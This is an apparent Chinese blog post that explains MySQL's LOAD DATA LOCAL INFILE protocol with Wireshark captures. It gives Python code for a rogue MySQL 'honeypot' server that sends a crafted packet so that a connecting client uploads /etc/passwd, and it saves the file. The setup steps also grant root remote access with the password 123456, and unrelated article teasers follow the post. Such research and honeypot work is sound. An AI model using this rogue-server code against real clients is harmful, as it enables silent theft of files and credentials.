Python实现MYSQL蜜罐

2023-09-21 06:16:32

1 LOAD DATA INFILE介绍   

首先开启一个Mysql,看一下mysql是如何读取主机文件的。

1.1 linux搭建mysql  

1)docker运行mysql                                                                           

图片

2)启动Mysql

docker run -itd --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql

图片

3)进入容器,连接docker

图片

4)开启远程访问

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
Query OK, 0 rows affected, 1 warning (0.00 sec)
mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

图片

修改配置文件,监听所有地址

/etc/mysql/mysql.conf.d/mysqld.cnf

图片

1.2 其他windows连接mysql  

图片

1.3 开启local_infile  

set global local_infile=1;

图片

1.4 测试文件读取   

load data local infile 'C:/1.txt' into table test fields terminated by '\n'

成功读取到文件

图片

2 wireshark分析交互过程  

通过wireshark,可以看到Client登入数据库与执行SQL命令时,Client与Server交互的命令。

1)服务端 greeting

图片

2)客户端 login request

图片

3)服务端 resposne

图片

4)读取文件的对应关系——客户端发起请求

图片

5)读取文件的对应关系——服务端同意请求

图片

综上可知:在Client向Server发起查询后,Server会返回一个Response TABULAR的响应包。而如果在这个数据包中指定文件路径,就可以读取Client相应的文件。

实际上Server可以在回复任何Client端的请求时返回Response TABULAR响应包,而不仅仅是在Client发起Load data local infile后。      

服务端同意请求文件的Response TABULAR数据包部分内容如下:​​​​​​​

09 #文件名长度+100 00 01 #数据包序号fb #数据包类型43 3a 2f 31 2e 74 78 74 #文件名

3 python实现mysql蜜罐  

大致编码实现如下:

  • 创建socket服务端监听(IP,PORT),一般是3306端口

  • 服务端接收到连接请求后进行数据交互

1)模拟服务器发送greeting信息​​​​​​​

server_version = b"\x0a\x35\x2e\x37\x2e\x32\x35"
conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x0c\x00\x00\x00\x6d\x7b\x54\x0f\x53\x0d\x3a\x3f\x00\xff\xff\xe0\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x40\x52\x44\x1e\x2c\x26\x34\x0f\x2c\x68\x6e\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)

2)模拟服务器发送成功连接信息​​​​​​​

conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(999)

3)模拟服务器发送服务文件信息​​​​​​​

filename = "/etc/passwd"
wantfile = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename)
conn.sendall(wantfile)
content = conn.recv(9999)
if len(content) > 10:           
    with open(logpath + "/" + filename.replace("/", "_").replace(":", "")+".txt" ,"w") as txt:
    txt.write(content.decode('utf-8','ignore'))
    print(f"文件内容读取完成")

整体效果如下:

1)使用介绍

图片

2)客户端启动

图片

3)服务端监听

图片

4)读取文件时的效果

图片

更多推荐

Spring底层原理之 BeanFactory 与 ApplicationContext

🐌个人主页:🐌叶落闲庭💨我的专栏:💨c语言数据结构javaEE操作系统Redis石可破也,而不可夺坚;丹可磨也,而不可夺赤。Spring底层原理一、BeanFactory与ApplicationContext二、BeanFactory功能三、ApplicationContext功能3.1getMessage3.

【计算机网络】IP协议第一讲(协议格式介绍)

IP协议1.协议头格式1.1概念介绍1.2补充说明1.2.18位生存时间---TTL1.2.216位首部检验和首先明确一个概念:TCP/IP协议是配合使用的,TCP负责可靠传输策略,IP则是负责传输,TCP协议是位于传输层提供的是策略解决可靠性问题,IP协议在网络层,提供的是网络传输服务,实现A主机到B主机的跨网络通信

Python爬虫异常处理实用技巧分享

当我们编写爬虫程序时,经常会遇到各种各样的异常情况,比如网络连接失败、页面解析错误、请求被拒绝等等。这些异常情况可能导致程序中断或者无法正常运行,给我们的数据采集工作带来一定的困扰。所以,掌握一些实用的异常处理技巧对于提高爬虫的稳定性和效率非常重要。在Python中,我们可以使用try-except语句来处理异常。下面

DSOX3012A是德科技keysight DSOX3012A示波器

181/2461/8938是德科技DSOX3012A(安捷伦)示波器是德科技DSOX3012A(安捷伦)是InfiniiVision3000X系列中的双通道型号。这款可升级示波器采用突破性技术设计,提供卓越的性能和功能。其独特的5仪器合一设计为相同的预算提供了更大的范围。是德科技DSOX3012A示波器的特性和规格包括

网络安全深入学习第五课——热门框架漏洞(RCE— Apache Shiro 1.2.4反序列化漏洞)

文章目录一、序列化和反序列化二、反序列化漏洞原理三、ApacheShiro1.2.4反序列化漏洞1、漏洞描述:2、漏洞影响的版本3、Shiro反序列化漏洞原理4、工作原理:5、shiro反序列化的特征:四、ApacheShiro1.2.4反序列化漏洞手工复现1、使用DNSlog严重漏洞是否存在2、VPS监听端口3、构造

【Vue】如何搭建SPA项目--详细教程

🎬艳艳耶✌️:个人主页🔥个人专栏:《Spring与Mybatis集成整合》《springMvc使用》⛺️生活的理想,为了不断更新自己!目录1.什么是vue-cli2.安装2.1.创建SPA项目2.3.一问一答模式答案3.运行SPA项目3.1.导入项目3.2.运行项目4.基于SPA项目完成路由4.1.案例实操5.基于

Python灰帽子编程————网页信息爬取

爬取图片,问题分解:获取网页内容;从网页内容中提取图片地址;通过图片地址,将图片下载到本地。1.相关模块1.1requests模块获取网页内容。requests模块:主要是用来模拟浏览器行为,发送HTTP请求,并处理HTTP响应的功能。importrequests#被认为,最贴近与人的操作的模块importurllib

【C++】C++ 引用详解 ⑥ ( 普通变量 / 一级指针 / 二级指针 做函数参数的作用 )

文章目录一、普通变量/一级指针/二级指针做函数参数的作用1、普通变量做函数参数的作用2、一级指针做函数参数的作用3、二级指针做函数参数的作用4、代码示例-二级指针做函数参数的作用一、普通变量/一级指针/二级指针做函数参数的作用1、普通变量做函数参数的作用普通变量的作用:将普通变量传入函数作为参数,则可以在函数中,访问到

【Java 基础篇】Java 运算符宝典:Java编程的关键

在Java编程中,运算符是用于执行各种操作的特殊符号。它们可以用于操作各种数据类型,执行算术、逻辑和比较等操作。本篇博客将详细介绍Java中常见的运算符,以及它们的使用和示例。算术运算符算术运算符用于执行基本的数学运算,如加法、减法、乘法和除法。加法运算符(+)加法运算符用于将两个值相加,并返回它们的和。示例:inta

MySQL主从复制与读写分离

目录MySQL主从复制1、mysql支持的复制类型2、主从复制的工作过程3、主从复制操作1)下载时间同步工具,并配置时间源,实现slave库与master库时间同步2)、配置主master库3)配置slave库4)登录主MySQL,给从服务器授权5)登录从数据库,配置同步,并启动同步6)测试MySQL读写分离MySQL

HTTPS的传输过程

加密分为两种方式一种是对称加密,一种是非对称加密。在对称加密算法中,加密和解密使用的密钥是相同的。也就是说,加密和解密使用的是同一个密钥。因此,对称加密算法要保证安全性的话,密钥要做好保密。只能让使用的人知道,不能对外公开。在非对称加密算法中,加密使用的密钥和解密使用的密钥是不相同的。一把是作为公开的公钥,另一把是作为

热文推荐